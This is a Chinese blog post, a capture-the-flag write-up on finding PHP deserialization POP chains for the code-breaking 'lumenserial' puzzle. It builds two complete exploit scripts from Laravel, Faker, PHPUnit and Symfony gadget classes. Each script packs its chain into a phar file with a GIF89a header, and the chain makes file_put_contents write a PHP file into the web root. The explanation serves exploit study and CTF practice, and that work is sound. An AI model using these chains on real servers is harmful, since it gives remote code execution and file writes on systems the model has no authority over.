PHP反序列化入门之寻找POP链(二)

前言

本文以 code-breakinglumenserial 为例,练习PHP反序列化 POP链 的寻找,题目地址:https://code-breaking.com/puzzle/7/

上篇 文章 ,我们是通过 PendingBroadcast__destruct 方法中的 $this->events->dispatch ,然后直接走 $this->events 对象的 __call 方法,本文将探索直接走 $this->events 对象 dispatch 方法的 POP链

POP链一

我们直接搜索 ‘function dispatch(‘ ,发现有一个 Dispatcher 类的 dispatchToQueue 方法中调用的 call_user_func 函数两个参数都可控,而且 dispatch 中调用了 dispatchToQueue 方法,代码如下:

1

从代码中我们可以看到,只要传入的 $command 变量是 ShouldQueue 类的实例即可。通过搜索,我们会发现 ShouldQueue 是一个接口,那么我们找到其实现类即可。直接搜索 ‘implements ShouldQueue’ ,我们随便选取一个实现类即可,这里我选用 CallQueuedClosure 类,相关代码如下:
2

现在 call_user_func 函数的两个参数都可控,又变成了我们可以调用任意对象的任意方法了,这样我们有可以利用上篇文章中的方法,调用 ReturnCallback 类的 invoke 方法,并传入 StaticInvocation 类的对象作为参数,形成整个完整的 POP链 ,利用 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct($events, $event){
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
};
namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
}
};
namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
private $parameters;
public function __construct($parameters){
$this->parameters = $parameters;
}
}
};
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
};
namespace{
$function = 'file_put_contents';
$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');

$staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($staticinvocation);
$returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
$dispatcher = new Illuminate\Bus\Dispatcher(array($returncallback,'invoke'));
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);
$o = $pendingbroadcast;

$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
};
?>

我们再通过下面这张图片,来理清整个 POP链 的调用过程。

3

POP链二

接下来这个 POP链 思路是参考 这篇 文章,寻找 POP链 的思路还是从 dispatch 方法入手。在上篇文章中,我们发现第一个 RCE 走了 Generator 类的 __call 方法,这个方法作为 POP链 中的一部分极其好用,因为 call_user_func_array 方法中的两个参数完全可控。我们只要找到方法中存在形如 this->$object->$method($arg1,$arg2) ,且 $object$method$arg1$arg2 四个参数均可控制,那么就可以利用这个 Generator 类的 __call 方法,最终调用 call_user_func_array(‘file_put_contents’,array(‘1.php’,’xxx’))

4

我们继续搜索 dispatch ,会发现一个 TraceableEventDispatcher 类的 dispatch 方法,其代码如下:

5

我们发现其调用了 preProcess 方法,传入的 $eventName 变量是可控的,我们跟进该方法, 具体代码如下:

6

可以看到我们得让 $this->dispatcher->hasListeners($eventName) 返回 true ,否则返回的空值对我们无用。然后 第12行getListeners 方法返回的值得是一个数组,这样我们才能进入 foreach 结构里。之所以要进到 foreach 结构里,是因为我们在 第16行 看到了 $this->dispatcher->removeListener($eventName, $listener) ,结构形如: this->$object->$method($arg1,$arg2) ,前三个参数可以按照如下构造:

1
2
3
4
this->$object =  new Faker\Generator();
this->$object->$method = 'removeListener';
arg1 = '/var/www/html/1.php';
this->formatters['removeListener'] = 'file_put_contents';

这样子构造之后,执行到 $this->dispatcher->removeListener($eventName, $listener) 时,就会调用 Generator 类的 __call 方法,继而执行 call_user_func_array(‘file_put_contents’,array(‘/var/www/html/upload/1.php’,$listener)) ,所以我们只要再确保第四个参数 $listener 可控即可。

现在我们再回到上面 第6行if 语句,我们需要先绕过这个判断条件。该代码会调用 Faker\Generator 类的 hasListeners 方法,进而触发 __call 方法,那么我们只要将 this->formatters[‘hasListeners’] 设置成 ‘strlen’ 即可,之后就会调用 call_user_func_array(‘strlen’,’var/www/html’) ,这样就可以绕过 if 语句。

j接着我们再回到 foreach 语句,继续搜索可利用的 getListeners 方法,看看是否可以返回一个可控数组(返回数组才能进入 foreach 语句)。通过搜索,我们会发现一个 Dispatcher 类的 getListeners 符合我们的要求,其具体代码如下:

7

此时 $eventName 是我们传入的 ‘/var/www/html/upload/1.php’ ,很明显上面的代码中可以返回一个数组,而且数组的值完全可控。

刚才 foreach 中的 $this->dispatcher->getListeners() 调用的是 Faker\Generator 类的 getListeners 方法,现在我们要想办法让它调用 Dispatcher 类的 getListeners 方法。我们再看一下刚才 Generator 的调用流程图:

4

可以看到只要我们将 this->providers 设置为 array(Dispatcher类) 即可,之后的调用就类似于 call_user_func_array(array(Dispatcher类,’getListeners’),’/var/www/html/1.php’)

现在基本完成了整个利用链,不过在执行到 $this->dispatcher->removeListener($eventName, $listener) 之前,还有一些额外的代码需要执行,我们要确保这些代码不会影响我们下面的方法,所以我们需要继续看 foreach 下面的代码(这里说的是 TraceableEventDispatcherpreProcess 方法中的 foreach )。

我们看到其调用了本类的 getListenerPriority 方法,具体代码如下:

8

我们看到 第16行 ,返回 $this->dispatcher->getListenerPriority($eventName, $listener) ,简直完美。我们可以不用执行到刚才的 removeListener 方法,直接到这里就可以完成整个 POP链 了。最终的利用 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
namespace Illuminate\Events{
class Dispatcher{
protected $listeners;
protected $wildcardsCache;
public function __construct($parameter,$function){
$this->listeners[$parameter['filename']] = array($parameter['contents']);
}
}
};
namespace Faker{
class Generator{
protected $providers;
protected $formatters;
public function __construct($providers,$formatters){
$this->providers = $providers;
$this->formatters = $formatters;
}
}
};
namespace Symfony\Component\EventDispatcher\Debug{
class TraceableEventDispatcher{
private $dispatcher;
public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
};
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $parameter){
$this->events = $events;
$this->event = $parameter['filename'];
}
}
}

namespace {
$function = 'file_put_contents';
$parameters = array('filename' => '/var/www/html/1.php','contents' => '<?php phpinfo();?>');

$dispatcher = new \Illuminate\Events\Dispatcher($parameters,$function);
$generator = new \Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
$traceableeventdispatcher = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($traceableeventdispatcher,$parameters);
$o = $pendingbroadcast;

$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
}
?>

我们再通过下面这张图片,来理清整个 POP链 的调用过程。

9

参考

Code Breaking 挑战赛 – lumenserial

文章作者: Mochazz
文章链接: https://mochazz.github.io/2019/02/09/PHP反序列化入门之寻找POP链(二)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog